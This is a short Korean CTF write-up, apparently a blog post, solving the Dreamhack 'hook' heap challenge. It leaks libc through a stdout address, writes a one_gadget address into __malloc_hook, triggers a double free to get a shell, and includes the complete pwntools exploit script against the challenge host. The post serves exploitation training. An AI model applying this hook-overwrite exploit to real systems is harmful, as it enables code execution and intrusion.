HackCTF의 babyheap 문제를 풀어봤던 경험으로 double free 시 free의 abort로 corruption이 일어나는 것을 이용해서 쉘을 딸 수 있었다.
1. libc leak
__malloc_hook, one gadget 주소를 구한다.
pwntools의 libc.symbols로 _IO_2_1_stdout_ , __malloc_hook 로 offset 구해서 주소를 구해줬다.
2. 임의 주소 쓰기 취약점
__malloc_hook + one gadget 주면
buf의 __malloc_hook에 buf+1의 one gadget 값이 써진다.
3. double free -> free의 abort로 corruption이 뜨게 해서 쉘을 딴다.
double free 환경을 만들어줘서 따로 malloc 하지 않아도 이 조건으로 쉘을 딸 수 있다.
(HackCTF babyheap에서 malloc을 6번밖에 할 수 없는 상황에서 마지막 쉘을 따기 위해 이 조건을 만들어준게 생각났다..)
디버깅으로 확인해보면
heap 영역 주소가 들어가는 stack 주소가 buf 이겠다. (buf가 canary 바로 앞에 위치함 rbp-10h)
그리고 뒤에 바로 canary가 있다.
주의할 점은 입력할 때 size를 -1만큼 입력받기 때문에
len(pay)+1만큼 size를 줬다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./hook")
p = remote("host1.dreamhack.games", 8259)
elf = ELF("./hook")
libc = ELF("./libc.so.6")
p.recvuntil("stdout: ")
stdout = int(p.recv(14), 16)
log.info("stdout: "+hex(stdout))
libcBase = stdout - libc.symbols['_IO_2_1_stdout_']
log.info("libcBase: "+hex(libcBase))
malloc_hook = libcBase + libc.symbols['__malloc_hook']
one_gadget = libcBase + 0xf02a4
pay = p64(malloc_hook) + p64(one_gadget)
p.sendlineafter("Size: ", str(len(pay)+1))
p.sendafter("Data: ", pay)
p.interactive()
[Dreamhack] tcache dup (0) | 2020.06.12 |
---|---|
[Dreamhack] house_of_spirit (0) | 2020.06.12 |
[DreamHack] basic_exploitation_000 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_003 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_002 (0) | 2020.05.31 |